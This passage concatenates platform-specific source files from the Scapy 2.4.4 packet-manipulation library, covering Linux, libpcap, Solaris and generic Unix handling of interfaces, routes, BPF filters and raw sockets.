SIOCGIFHWADDR calls, therefore only works on some distros. :param iff: the network interface name as a string :returns: the corresponding raw MAC address """ from scapy.arch import SIOCGIFHWADDR return struct.unpack("16xh6s8x", get_if(iff, SIOCGIFHWADDR)) # SOCKET UTILS def _select_nonblock(sockets, remain=None): """This function is called during sendrecv() routine to select the available sockets. """ # pcap sockets aren't selectable, so we return all of them # and ask the selecting functions to use nonblock_recv instead of recv def _sleep_nonblock_recv(self): res = self.nonblock_recv() if res is None: time.sleep(conf.recv_poll_rate) return res # we enforce remain=None: don't wait. return sockets, _sleep_nonblock_recv # BPF HANDLERS def compile_filter(filter_exp, iface=None, linktype=None, promisc=False): """Asks libpcap to parse the filter, then build the matching BPF bytecode. :param iface: if provided, use the interface to compile :param linktype: if provided, use the linktype to compile """ try: from scapy.libs.winpcapy import ( PCAP_ERRBUF_SIZE, pcap_open_live, pcap_compile, pcap_compile_nopcap, pcap_close ) from scapy.libs.structures import bpf_program except OSError: raise ImportError( "libpcap is not available. Cannot compile filter !" ) from ctypes import create_string_buffer bpf = bpf_program() bpf_filter = create_string_buffer(filter_exp.encode("utf8")) if not linktype: # Try to guess linktype to avoid root if not iface: if not conf.iface: raise Scapy_Exception( "Please provide an interface or linktype!" ) if WINDOWS: iface = conf.iface.pcap_name else: iface = conf.iface # Try to guess linktype to avoid requiring root try: arphd = get_if_raw_hwaddr(iface)[0] linktype = ARPHRD_TO_DLT.get(arphd) except Exception: # Failed to use linktype: use the interface pass if linktype is not None: ret = pcap_compile_nopcap( MTU, linktype, ctypes.byref(bpf), bpf_filter, 0, -1 ) elif iface: err = create_string_buffer(PCAP_ERRBUF_SIZE) iface = create_string_buffer(iface.encode("utf8")) pcap = pcap_open_live( iface, MTU, promisc, 0, err ) error = bytes(bytearray(err)).strip(b"\x00") if error: raise OSError(error) ret = pcap_compile( pcap, ctypes.byref(bpf), bpf_filter, 0, -1 ) pcap_close(pcap) if ret == -1: raise Scapy_Exception( "Failed to compile filter expression %s (%s)" % (filter_exp, ret) ) if conf.use_pypy and sys.pypy_version_info <= (7, 3, 0): # PyPy < 7.3.0 has a broken behavior # https://bitbucket.org/pypy/pypy/issues/3114 return struct.pack( 'HL', bpf.bf_len, ctypes.addressof(bpf.bf_insns.contents) ) return bpf scapy-2.4.4/scapy/arch/linux.py000066400000000000000000000450701372370053500164200ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Linux specific functions. """ from __future__ import absolute_import import array from fcntl import ioctl import os from select import select import socket import struct import time import subprocess from scapy.compat import raw, plain_str from scapy.consts import LINUX import scapy.utils import scapy.utils6 from scapy.packet import Packet, Padding from scapy.config import conf from scapy.data import MTU, ETH_P_ALL, SOL_PACKET, SO_ATTACH_FILTER, \ SO_TIMESTAMPNS from scapy.supersocket import SuperSocket from scapy.error import warning, Scapy_Exception, \ ScapyInvalidPlatformException, log_runtime from scapy.arch.common import get_if, compile_filter import scapy.modules.six as six from scapy.modules.six.moves import range from scapy.arch.common import get_if_raw_hwaddr # noqa: F401 # From bits/ioctls.h SIOCGIFHWADDR = 0x8927 # Get hardware address SIOCGIFADDR = 0x8915 # get PA address SIOCGIFNETMASK = 0x891b # get network PA mask SIOCGIFNAME = 0x8910 # get iface name SIOCSIFLINK = 0x8911 # set iface channel SIOCGIFCONF = 0x8912 # get iface list SIOCGIFFLAGS = 0x8913 # get flags SIOCSIFFLAGS = 0x8914 # set flags SIOCGIFINDEX = 0x8933 # name -> if_index mapping SIOCGIFCOUNT = 0x8938 # get number of devices SIOCGSTAMP = 0x8906 # get packet timestamp (as a timeval) # From if.h IFF_UP = 0x1 # Interface is up. IFF_BROADCAST = 0x2 # Broadcast address valid. IFF_DEBUG = 0x4 # Turn on debugging. IFF_LOOPBACK = 0x8 # Is a loopback net. IFF_POINTOPOINT = 0x10 # Interface is point-to-point link. IFF_NOTRAILERS = 0x20 # Avoid use of trailers. IFF_RUNNING = 0x40 # Resources allocated. IFF_NOARP = 0x80 # No address resolution protocol. IFF_PROMISC = 0x100 # Receive all packets. # From netpacket/packet.h PACKET_ADD_MEMBERSHIP = 1 PACKET_DROP_MEMBERSHIP = 2 PACKET_RECV_OUTPUT = 3 PACKET_RX_RING = 5 PACKET_STATISTICS = 6 PACKET_MR_MULTICAST = 0 PACKET_MR_PROMISC = 1 PACKET_MR_ALLMULTI = 2 # From net/route.h RTF_UP = 0x0001 # Route usable RTF_REJECT = 0x0200 # From if_packet.h PACKET_HOST = 0 # To us PACKET_BROADCAST = 1 # To all PACKET_MULTICAST = 2 # To group PACKET_OTHERHOST = 3 # To someone else PACKET_OUTGOING = 4 # Outgoing of any type PACKET_LOOPBACK = 5 # MC/BRD frame looped back PACKET_USER = 6 # To user space PACKET_KERNEL = 7 # To kernel space PACKET_AUXDATA = 8 PACKET_FASTROUTE = 6 # Fastrouted frame # Unused, PACKET_FASTROUTE and PACKET_LOOPBACK are invisible to user space # Utils def get_if_raw_addr(iff): try: return get_if(iff, SIOCGIFADDR)[20:24] except IOError: return b"\0\0\0\0" def get_if_list(): try: f = open("/proc/net/dev", "rb") except IOError: try: f.close() except Exception: pass warning("Can't open /proc/net/dev !") return [] lst = [] f.readline() f.readline() for line in f: line = plain_str(line) lst.append(line.split(":")[0].strip()) f.close() return lst def get_working_if(): """ Return the name of the first network interfcace that is up. """ for i in get_if_list(): if i == conf.loopback_name: continue ifflags = struct.unpack("16xH14x", get_if(i, SIOCGIFFLAGS))[0] if ifflags & IFF_UP: return i return conf.loopback_name def attach_filter(sock, bpf_filter, iface): """ Compile bpf filter and attach it to a socket :param sock: the python socket :param bpf_filter: the bpf string filter to compile :param iface: the interface used to compile """ bp = compile_filter(bpf_filter, iface) sock.setsockopt(socket.SOL_SOCKET, SO_ATTACH_FILTER, bp) def set_promisc(s, iff, val=1): mreq = struct.pack("IHH8s", get_if_index(iff), PACKET_MR_PROMISC, 0, b"") if val: cmd = PACKET_ADD_MEMBERSHIP else: cmd = PACKET_DROP_MEMBERSHIP s.setsockopt(SOL_PACKET, cmd, mreq) def get_alias_address(iface_name, ip_mask, gw_str, metric): """ Get the correct source IP address of an interface alias """ # Detect the architecture if scapy.consts.IS_64BITS: offset, name_len = 16, 40 else: offset, name_len = 32, 32 # Retrieve interfaces structures sck = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) names = array.array('B', b'\0' * 4096) ifreq = ioctl(sck.fileno(), SIOCGIFCONF, struct.pack("iL", len(names), names.buffer_info()[0])) # Extract interfaces names out = struct.unpack("iL", ifreq)[0] names = names.tobytes() if six.PY3 else names.tostring() names = [names[i:i + offset].split(b'\0', 1)[0] for i in range(0, out, name_len)] # noqa: E501 # Look for the IP address for ifname in names: # Only look for a matching interface name if not ifname.decode("utf8").startswith(iface_name): continue # Retrieve and convert addresses ifreq = ioctl(sck, SIOCGIFADDR, struct.pack("16s16x", ifname)) ifaddr = struct.unpack(">I", ifreq[20:24])[0] ifreq = ioctl(sck, SIOCGIFNETMASK, struct.pack("16s16x", ifname)) msk = struct.unpack(">I", ifreq[20:24])[0] # Get the full interface name ifname = plain_str(ifname) if ':' in ifname: ifname = ifname[:ifname.index(':')] else: continue # Check if the source address is included in the network if (ifaddr & msk) == ip_mask: sck.close() return (ifaddr & msk, msk, gw_str, ifname, scapy.utils.ltoa(ifaddr), metric) sck.close() return def read_routes(): try: f = open("/proc/net/route", "rb") except IOError: warning("Can't open /proc/net/route !") return [] routes = [] s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) try: ifreq = ioctl(s, SIOCGIFADDR, struct.pack("16s16x", conf.loopback_name.encode("utf8"))) # noqa: E501 addrfamily = struct.unpack("h", ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifreq2 = ioctl(s, SIOCGIFNETMASK, struct.pack("16s16x", conf.loopback_name.encode("utf8"))) # noqa: E501 msk = socket.ntohl(struct.unpack("I", ifreq2[20:24])[0]) dst = socket.ntohl(struct.unpack("I", ifreq[20:24])[0]) & msk ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) routes.append((dst, msk, "0.0.0.0", conf.loopback_name, ifaddr, 1)) # noqa: E501 else: warning("Interface %s: unknown address family (%i)" % (conf.loopback_name, addrfamily)) # noqa: E501 except IOError as err: if err.errno == 99: warning("Interface %s: no address assigned" % conf.loopback_name) # noqa: E501 else: warning("Interface %s: failed to get address config (%s)" % (conf.loopback_name, str(err))) # noqa: E501 for line in f.readlines()[1:]: line = plain_str(line) iff, dst, gw, flags, _, _, metric, msk, _, _, _ = line.split() flags = int(flags, 16) if flags & RTF_UP == 0: continue if flags & RTF_REJECT: continue try: ifreq = ioctl(s, SIOCGIFADDR, struct.pack("16s16x", iff.encode("utf8"))) # noqa: E501 except IOError: # interface is present in routing tables but does not have any assigned IP # noqa: E501 ifaddr = "0.0.0.0" ifaddr_int = 0 else: addrfamily = struct.unpack("h", ifreq[16:18])[0] if addrfamily == socket.AF_INET: ifaddr = scapy.utils.inet_ntoa(ifreq[20:24]) ifaddr_int = struct.unpack("!I", ifreq[20:24])[0] else: warning("Interface %s: unknown address family (%i)", iff, addrfamily) # noqa: E501 continue # Attempt to detect an interface alias based on addresses inconsistencies # noqa: E501 dst_int = socket.htonl(int(dst, 16)) & 0xffffffff msk_int = socket.htonl(int(msk, 16)) & 0xffffffff gw_str = scapy.utils.inet_ntoa(struct.pack("I", int(gw, 16))) metric = int(metric) if ifaddr_int & msk_int != dst_int: tmp_route = get_alias_address(iff, dst_int, gw_str, metric) if tmp_route: routes.append(tmp_route) else: routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric)) else: routes.append((dst_int, msk_int, gw_str, iff, ifaddr, metric)) f.close() s.close() return routes ############ # IPv6 # ############ def in6_getifaddr(): """ Returns a list of 3-tuples of the form (addr, scope, iface) where 'addr' is the address of scope 'scope' associated to the interface 'iface'. This is the list of all addresses of all interfaces available on the system. """ ret = [] try: fdesc = open("/proc/net/if_inet6", "rb") except IOError: return ret for line in fdesc: # addr, index, plen, scope, flags, ifname tmp = plain_str(line).split() addr = scapy.utils6.in6_ptop( b':'.join( struct.unpack('4s4s4s4s4s4s4s4s', tmp[0].encode()) ).decode() ) # (addr, scope, iface) ret.append((addr, int(tmp[3], 16), tmp[5])) fdesc.close() return ret def read_routes6(): try: f = open("/proc/net/ipv6_route", "rb") except IOError: return [] # 1. destination network # 2. destination prefix length # 3. source network displayed # 4. source prefix length # 5. next hop # 6. metric # 7. reference counter (?!?) # 8. use counter (?!?) # 9. flags # 10. device name routes = [] def proc2r(p): ret = struct.unpack('4s4s4s4s4s4s4s4s', p) ret = b':'.join(ret).decode() return scapy.utils6.in6_ptop(ret) lifaddr = in6_getifaddr() for line in f.readlines(): d, dp, _, _, nh, metric, rc, us, fl, dev = line.split() metric = int(metric, 16) fl = int(fl, 16) dev = plain_str(dev) if fl & RTF_UP == 0: continue if fl & RTF_REJECT: continue d = proc2r(d) dp = int(dp, 16) nh = proc2r(nh) cset = [] # candidate set (possible source addresses) if dev == conf.loopback_name: if d == '::': continue cset = ['::1'] else: devaddrs = (x for x in lifaddr if x[2] == dev) cset = scapy.utils6.construct_source_candidate_set(d, dp, devaddrs) if len(cset) != 0: routes.append((d, dp, nh, dev, cset, metric)) f.close() return routes def get_if_index(iff): return int(struct.unpack("I", get_if(iff, SIOCGIFINDEX)[16:20])[0]) if os.uname()[4] in ['x86_64', 'aarch64']: def get_last_packet_timestamp(sock): ts = ioctl(sock, SIOCGSTAMP, "1234567890123456") s, us = struct.unpack("QQ", ts) return s + us / 1000000.0 else: def get_last_packet_timestamp(sock): ts = ioctl(sock, SIOCGSTAMP, "12345678") s, us = struct.unpack("II", ts) return s + us / 1000000.0 def _flush_fd(fd): if hasattr(fd, 'fileno'): fd = fd.fileno() while True: r, w, e = select([fd], [], [], 0) if r: os.read(fd, MTU) else: break class L2Socket(SuperSocket): desc = "read/write packets at layer 2 using Linux PF_PACKET sockets" def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, nofilter=0, monitor=None): self.iface = conf.iface if iface is None else iface self.type = type self.promisc = conf.sniff_promisc if promisc is None else promisc if monitor is not None: log_runtime.info( "The 'monitor' argument has no effect on native linux sockets." ) self.ins = socket.socket(socket.AF_PACKET, socket.SOCK_RAW, socket.htons(type)) # noqa: E501 if not nofilter: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) else: filter = "not (%s)" % conf.except_filter if filter is not None: try: attach_filter(self.ins, filter, iface) except ImportError as ex: warning("Cannot set filter: %s" % ex) if self.promisc: set_promisc(self.ins, self.iface) self.ins.bind((self.iface, type)) _flush_fd(self.ins) self.ins.setsockopt( socket.SOL_SOCKET, socket.SO_RCVBUF, conf.bufsize ) if not six.PY2: # Receive Auxiliary Data (VLAN tags) try: self.ins.setsockopt(SOL_PACKET, PACKET_AUXDATA, 1) self.ins.setsockopt( socket.SOL_SOCKET, SO_TIMESTAMPNS, 1 ) self.auxdata_available = True except OSError: # Note: Auxiliary Data is only supported since # Linux 2.6.21 msg = "Your Linux Kernel does not support Auxiliary Data!" log_runtime.info(msg) if isinstance(self, L2ListenSocket): self.outs = None else: self.outs = self.ins self.outs.setsockopt( socket.SOL_SOCKET, socket.SO_SNDBUF, conf.bufsize ) sa_ll = self.ins.getsockname() if sa_ll[3] in conf.l2types: self.LL = conf.l2types[sa_ll[3]] self.lvl = 2 elif sa_ll[1] in conf.l3types: self.LL = conf.l3types[sa_ll[1]] self.lvl = 3 else: self.LL = conf.default_l2 self.lvl = 2 warning("Unable to guess type (interface=%s protocol=%#x family=%i). Using %s", sa_ll[0], sa_ll[1], sa_ll[3], self.LL.name) # noqa: E501 def close(self): if self.closed: return try: if self.promisc and self.ins: set_promisc(self.ins, self.iface, 0) except (AttributeError, OSError): pass SuperSocket.close(self) def recv_raw(self, x=MTU): """Receives a packet, then returns a tuple containing (cls, pkt_data, time)""" # noqa: E501 pkt, sa_ll, ts = self._recv_raw(self.ins, x) if self.outs and sa_ll[2] == socket.PACKET_OUTGOING: return None, None, None if ts is None: ts = get_last_packet_timestamp(self.ins) return self.LL, pkt, ts def send(self, x): try: return SuperSocket.send(self, x) except socket.error as msg: if msg.errno == 22 and len(x) < conf.min_pkt_size: padding = b"\x00" * (conf.min_pkt_size - len(x)) if isinstance(x, Packet): return SuperSocket.send(self, x / Padding(load=padding)) else: return SuperSocket.send(self, raw(x) + padding) raise class L2ListenSocket(L2Socket): desc = "read packets at layer 2 using Linux PF_PACKET sockets. Also receives the packets going OUT" # noqa: E501 def send(self, x): raise Scapy_Exception("Can't send anything with L2ListenSocket") class L3PacketSocket(L2Socket): desc = "read/write packets at layer 3 using Linux PF_PACKET sockets" def recv(self, x=MTU): pkt = SuperSocket.recv(self, x) if pkt and self.lvl == 2: pkt.payload.time = pkt.time return pkt.payload return pkt def send(self, x): iff = x.route()[0] if iff is None: iff = conf.iface sdto = (iff, self.type) self.outs.bind(sdto) sn = self.outs.getsockname() ll = lambda x: x type_x = type(x) if type_x in conf.l3types: sdto = (iff, conf.l3types[type_x]) if sn[3] in conf.l2types: ll = lambda x: conf.l2types[sn[3]]() / x if self.lvl == 3 and type_x != self.LL: warning("Incompatible L3 types detected using %s instead of %s !", type_x, self.LL) self.LL = type_x sx = raw(ll(x)) x.sent_time = time.time() try: self.outs.sendto(sx, sdto) except socket.error as msg: if msg.errno == 22 and len(sx) < conf.min_pkt_size: self.outs.send(sx + b"\x00" * (conf.min_pkt_size - len(sx))) elif conf.auto_fragment and msg.errno == 90: for p in x.fragment(): self.outs.sendto(raw(ll(p)), sdto) else: raise class VEthPair(object): """ encapsulates a virtual Ethernet interface pair """ def __init__(self, iface_name, peer_name): if not LINUX: # ToDo: do we need a kernel version check here? raise ScapyInvalidPlatformException( 'Virtual Ethernet interface pair only available on Linux' ) self.ifaces = [iface_name, peer_name] def iface(self): return self.ifaces[0] def peer(self): return self.ifaces[1] def setup(self): """ create veth pair links :raises subprocess.CalledProcessError if operation fails """ subprocess.check_call(['ip', 'link', 'add', self.ifaces[0], 'type', 'veth', 'peer', 'name', self.ifaces[1]]) # noqa: E501 def destroy(self): """ remove veth pair links :raises subprocess.CalledProcessError if operation fails """ subprocess.check_call(['ip', 'link', 'del', self.ifaces[0]]) def up(self): """ set veth pair links up :raises subprocess.CalledProcessError if operation fails """ for idx in [0, 1]: subprocess.check_call(["ip", "link", "set", self.ifaces[idx], "up"]) # noqa: E501 def down(self): """ set veth pair links down :raises subprocess.CalledProcessError if operation fails """ for idx in [0, 1]: subprocess.check_call(["ip", "link", "set", self.ifaces[idx], "down"]) # noqa: E501 def __enter__(self): self.setup() self.up() return self def __exit__(self, exc_type, exc_val, exc_tb): self.destroy() scapy-2.4.4/scapy/arch/pcapdnet.py000066400000000000000000000354741372370053500170660ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Packet sending and receiving libpcap/WinPcap. """ import os import platform import socket import struct import time from scapy.automaton import SelectableObject from scapy.arch.common import _select_nonblock from scapy.compat import raw, plain_str from scapy.config import conf from scapy.consts import WINDOWS from scapy.data import MTU, ETH_P_ALL from scapy.pton_ntop import inet_ntop from scapy.supersocket import SuperSocket from scapy.error import Scapy_Exception, log_loading, warning import scapy.consts if not scapy.consts.WINDOWS: from fcntl import ioctl ############ # COMMON # ############ # From BSD net/bpf.h # BIOCIMMEDIATE = 0x80044270 BIOCIMMEDIATE = -2147204496 class _L2pcapdnetSocket(SuperSocket, SelectableObject): nonblocking_socket = True def __init__(self): SelectableObject.__init__(self) self.cls = None def check_recv(self): return True def recv_raw(self, x=MTU): """Receives a packet, then returns a tuple containing (cls, pkt_data, time)""" # noqa: E501 if self.cls is None: ll = self.ins.datalink() if ll in conf.l2types: self.cls = conf.l2types[ll] else: self.cls = conf.default_l2 warning( "Unable to guess datalink type " "(interface=%s linktype=%i). Using %s", self.iface, ll, self.cls.name ) ts, pkt = self.ins.next() if pkt is None: return None, None, None return self.cls, pkt, ts def nonblock_recv(self): """Receives and dissect a packet in non-blocking mode. Note: on Windows, this won't do anything.""" self.ins.setnonblock(1) p = self.recv(MTU) self.ins.setnonblock(0) return p @staticmethod def select(sockets, remain=None): return _select_nonblock(sockets, remain=None) ########## # PCAP # ########## if conf.use_pcap: if WINDOWS: # Windows specific NPCAP_PATH = os.environ["WINDIR"] + "\\System32\\Npcap" from scapy.libs.winpcapy import pcap_setmintocopy else: from scapy.libs.winpcapy import pcap_get_selectable_fd from ctypes import POINTER, byref, create_string_buffer, c_ubyte, cast # Part of the Winpcapy integration was inspired by phaethon/scapy # but he destroyed the commit history, so there is no link to that try: from scapy.libs.winpcapy import PCAP_ERRBUF_SIZE, pcap_if_t, \ sockaddr_in, sockaddr_in6, pcap_findalldevs, pcap_freealldevs, \ pcap_lib_version, pcap_close, \ pcap_open_live, pcap_pkthdr, \ pcap_next_ex, pcap_datalink, \ pcap_compile, pcap_setfilter, pcap_setnonblock, pcap_sendpacket, \ bpf_program def load_winpcapy(): """This functions calls libpcap ``pcap_findalldevs`` function, and extracts and parse all the data scapy will need to build the Interface List. The date will be stored in ``conf.cache_iflist``, or accessible with ``get_if_list()`` """ err = create_string_buffer(PCAP_ERRBUF_SIZE) devs = POINTER(pcap_if_t)() if_list = {} if pcap_findalldevs(byref(devs), err) < 0: return try: p = devs # Iterate through the different interfaces while p: name = plain_str(p.contents.name) # GUID description = plain_str(p.contents.description) # NAME flags = p.contents.flags # FLAGS ips = [] a = p.contents.addresses while a: # IPv4 address family = a.contents.addr.contents.sa_family ap = a.contents.addr if family == socket.AF_INET: val = cast(ap, POINTER(sockaddr_in)) val = val.contents.sin_addr[:] elif family == socket.AF_INET6: val = cast(ap, POINTER(sockaddr_in6)) val = val.contents.sin6_addr[:] else: # Unknown address family # (AF_LINK isn't a thing on Windows) a = a.contents.next continue addr = inet_ntop(family, bytes(bytearray(val))) if addr != "0.0.0.0": ips.append(addr) a = a.contents.next if_list[name] = (description, ips, flags) p = p.contents.next conf.cache_iflist = if_list except Exception: raise finally: pcap_freealldevs(devs) except OSError: conf.use_pcap = False if WINDOWS: if conf.interactive: log_loading.critical( "Npcap/Winpcap is not installed ! See " "https://scapy.readthedocs.io/en/latest/installation.html#windows" # noqa: E501 ) else: if conf.interactive: log_loading.critical( "Libpcap is not installed!" ) else: if WINDOWS: # Detect Pcap version: check for Npcap version = pcap_lib_version() if b"winpcap" in version.lower(): if os.path.exists(NPCAP_PATH + "\\wpcap.dll"): warning("Winpcap is installed over Npcap. " "Will use Winpcap (see 'Winpcap/Npcap conflicts' " "in Scapy's docs)") elif platform.release() != "XP": warning("WinPcap is now deprecated (not maintained). " "Please use Npcap instead") elif b"npcap" in version.lower(): conf.use_npcap = True conf.loopback_name = conf.loopback_name = "Npcap Loopback Adapter" # noqa: E501 if conf.use_pcap: def get_if_list(): """Returns all pcap names""" if not conf.cache_iflist: load_winpcapy() return list(conf.cache_iflist) class _PcapWrapper_libpcap: # noqa: F811 """Wrapper for the libpcap calls""" def __init__(self, device, snaplen, promisc, to_ms, monitor=None): self.errbuf = create_string_buffer(PCAP_ERRBUF_SIZE) self.iface = create_string_buffer(device.encode("utf8")) self.dtl = None if monitor: if WINDOWS and not conf.use_npcap: raise OSError("On Windows, this feature requires NPcap !") # Npcap-only functions from scapy.libs.winpcapy import pcap_create, \ pcap_set_snaplen, pcap_set_promisc, \ pcap_set_timeout, pcap_set_rfmon, pcap_activate self.pcap = pcap_create(self.iface, self.errbuf) pcap_set_snaplen(self.pcap, snaplen) pcap_set_promisc(self.pcap, promisc) pcap_set_timeout(self.pcap, to_ms) if pcap_set_rfmon(self.pcap, 1) != 0: warning("Could not set monitor mode") if pcap_activate(self.pcap) != 0: raise OSError("Could not activate the pcap handler") else: self.pcap = pcap_open_live(self.iface, snaplen, promisc, to_ms, self.errbuf) error = bytes(bytearray(self.errbuf)).strip(b"\x00") if error: raise OSError(error) if WINDOWS: # Winpcap/Npcap exclusive: make every packet to be instantly # returned, and not buffered within Winpcap/Npcap pcap_setmintocopy(self.pcap, 0) self.header = POINTER(pcap_pkthdr)() self.pkt_data = POINTER(c_ubyte)() self.bpf_program = bpf_program() def next(self): """ Returns the next packet as the tuple (timestamp, raw_packet) """ c = pcap_next_ex( self.pcap, byref(self.header), byref(self.pkt_data) ) if not c > 0: return None, None ts = self.header.contents.ts.tv_sec + float(self.header.contents.ts.tv_usec) / 1e6 # noqa: E501 pkt = bytes(bytearray(self.pkt_data[:self.header.contents.len])) return ts, pkt __next__ = next def datalink(self): """Wrapper around pcap_datalink""" if self.dtl is None: self.dtl = pcap_datalink(self.pcap) return self.dtl def fileno(self): if WINDOWS: log_loading.error("Cannot get selectable PCAP fd on Windows") return -1 else: # This does not exist under Windows return pcap_get_selectable_fd(self.pcap) def setfilter(self, f): filter_exp = create_string_buffer(f.encode("utf8")) if pcap_compile(self.pcap, byref(self.bpf_program), filter_exp, 0, -1) == -1: # noqa: E501 log_loading.error("Could not compile filter expression %s", f) return False else: if pcap_setfilter(self.pcap, byref(self.bpf_program)) == -1: log_loading.error("Could not install filter %s", f) return False return True def setnonblock(self, i): pcap_setnonblock(self.pcap, i, self.errbuf) def send(self, x): pcap_sendpacket(self.pcap, x, len(x)) def close(self): pcap_close(self.pcap) open_pcap = _PcapWrapper_libpcap # pcap sockets class L2pcapListenSocket(_L2pcapdnetSocket): desc = "read packets at layer 2 using libpcap" def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, monitor=None): # noqa: E501 super(L2pcapListenSocket, self).__init__() self.type = type self.outs = None self.iface = iface if iface is None: iface = conf.iface if promisc is None: promisc = conf.sniff_promisc self.promisc = promisc # Note: Timeout with Winpcap/Npcap # The 4th argument of open_pcap corresponds to timeout. In an ideal world, we would # noqa: E501 # set it to 0 ==> blocking pcap_next_ex. # However, the way it is handled is very poor, and result in a jerky packet stream. # noqa: E501 # To fix this, we set 100 and the implementation under windows is slightly different, as # noqa: E501 # everything is always received as non-blocking self.ins = open_pcap(iface, MTU, self.promisc, 100, monitor=monitor) try: ioctl(self.ins.fileno(), BIOCIMMEDIATE, struct.pack("I", 1)) except Exception: pass if type == ETH_P_ALL: # Do not apply any filter if Ethernet type is given # noqa: E501 if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) # noqa: E501 else: filter = "not (%s)" % conf.except_filter if filter: self.ins.setfilter(filter) def send(self, x): raise Scapy_Exception("Can't send anything with L2pcapListenSocket") # noqa: E501 class L2pcapSocket(_L2pcapdnetSocket): desc = "read/write packets at layer 2 using only libpcap" def __init__(self, iface=None, type=ETH_P_ALL, promisc=None, filter=None, nofilter=0, # noqa: E501 monitor=None): super(L2pcapSocket, self).__init__() if iface is None: iface = conf.iface self.iface = iface if promisc is None: promisc = 0 self.promisc = promisc # See L2pcapListenSocket for infos about this line self.ins = open_pcap(iface, MTU, self.promisc, 100, monitor=monitor) self.outs = self.ins try: ioctl(self.ins.fileno(), BIOCIMMEDIATE, struct.pack("I", 1)) except Exception: pass if nofilter: if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap # noqa: E501 filter = "ether proto %i" % type else: filter = None else: if conf.except_filter: if filter: filter = "(%s) and not (%s)" % (filter, conf.except_filter) # noqa: E501 else: filter = "not (%s)" % conf.except_filter if type != ETH_P_ALL: # PF_PACKET stuff. Need to emulate this for pcap # noqa: E501 if filter: filter = "(ether proto %i) and (%s)" % (type, filter) else: filter = "ether proto %i" % type if filter: self.ins.setfilter(filter) def send(self, x): sx = raw(x) try: x.sent_time = time.time() except AttributeError: pass self.outs.send(sx) class L3pcapSocket(L2pcapSocket): desc = "read/write packets at layer 3 using only libpcap" def recv(self, x=MTU): r = L2pcapSocket.recv(self, x) if r: r.payload.time = r.time return r.payload return r def send(self, x): # Makes send detects when it should add Loopback(), Dot11... instead of Ether() # noqa: E501 ll = self.ins.datalink() if ll in conf.l2types: cls = conf.l2types[ll] else: cls = conf.default_l2 warning("Unable to guess datalink type (interface=%s linktype=%i). Using %s", self.iface, ll, cls.name) # noqa: E501 sx = raw(cls() / x) try: x.sent_time = time.time() except AttributeError: pass self.outs.send(sx) else: # No libpcap installed get_if_list = lambda: [] if WINDOWS: NPCAP_PATH = "" scapy-2.4.4/scapy/arch/solaris.py000066400000000000000000000017521372370053500167340ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Customization for the Solaris operation system. """ import socket from scapy.config import conf conf.use_pcap = True # IPPROTO_GRE is missing on Solaris socket.IPPROTO_GRE = 47 # From sys/sockio.h and net/if.h SIOCGIFHWADDR = 0xc02069b9 # Get hardware address from scapy.arch.pcapdnet import * # noqa: F401, F403, E402 from scapy.arch.unix import * # noqa: F401, F403, E402 from scapy.arch.common import get_if_raw_hwaddr # noqa: F401, F403, E402 def get_working_if(): """Return an interface that works""" try: # return the interface associated with the route with smallest # mask (route by default if it exists) iface = min(conf.route.routes, key=lambda x: x[1])[3] except ValueError: # no route iface = conf.loopback_name return iface scapy-2.4.4/scapy/arch/unix.py000066400000000000000000000265621372370053500162510ustar00rootroot00000000000000# This file is part of Scapy # See http://www.secdev.org/projects/scapy for more information # Copyright (C) Philippe Biondi # This program is published under a GPLv2 license """ Common customizations for all Unix-like operating systems other than Linux """ import os import socket import scapy.config import scapy.utils from scapy.arch import get_if_addr from scapy.config import conf from scapy.consts import FREEBSD, NETBSD, OPENBSD, SOLARIS from scapy.error import warning, log_interactive from scapy.pton_ntop import inet_pton from scapy.utils6 import in6_getscope, construct_source_candidate_set from scapy.utils6 import in6_isvalid, in6_ismlladdr, in6_ismnladdr ################## # Routes stuff # ################## def _guess_iface_name(netif): """ We attempt to guess the name of interfaces that are truncated from the output of ifconfig -l. If there is only one possible candidate matching the interface name then we return it. If there are none or more, then we return None. """ with os.popen('%s -l' % conf.prog.ifconfig) as fdesc: ifaces = fdesc.readline().strip().split(' ') matches = [iface for iface in ifaces if iface.startswith(netif)] if len(matches) == 1: return matches[0] return None def read_routes(): """Return a list of IPv4 routes than can be used by Scapy. This function parses netstat. """ if SOLARIS: f = os.popen("netstat -rvn -f inet") elif FREEBSD: f = os.popen("netstat -rnW -f inet") # -W to show long interface names else: f = os.popen("netstat -rn -f inet") ok = 0 mtu_present = False prio_present = False refs_present = False use_present = False routes = [] pending_if = [] for line in f.readlines(): if not line: break line = line.strip().lower() if line.find("----") >= 0: # a separation line continue if not ok: if line.find("destination") >= 0: ok = 1 mtu_present = "mtu" in line prio_present = "prio" in line refs_present = "ref" in line # There is no s on Solaris use_present = "use" in line or "nhop" in line continue if not line: break rt = line.split() if SOLARIS: dest, netmask, gw, netif = rt[:4] flg = rt[4 + mtu_present + refs_present] else: dest, gw, flg = rt[:3] locked = OPENBSD and rt[6] == "l" offset = mtu_present + prio_present + refs_present + locked offset += use_present netif = rt[3 + offset] if flg.find("lc") >= 0: continue elif dest == "default": dest = 0 netmask = 0 elif SOLARIS: dest = scapy.utils.atol(dest) netmask = scapy.utils.atol(netmask) else: if "/" in dest: dest, netmask = dest.split("/") netmask = scapy.utils.itom(int(netmask)) else: netmask = scapy.utils.itom((dest.count(".") + 1) * 8) dest += ".0" * (3 - dest.count(".")) dest = scapy.utils.atol(dest) # XXX: TODO: add metrics for unix.py (use -e option on netstat) metric = 1 if "g" not in flg: gw = '0.0.0.0' if netif is not None: try: ifaddr = get_if_addr(netif) routes.append((dest, netmask, gw, netif, ifaddr, metric)) except OSError as exc: if exc.message == 'Device not configured': # This means the interface name is probably 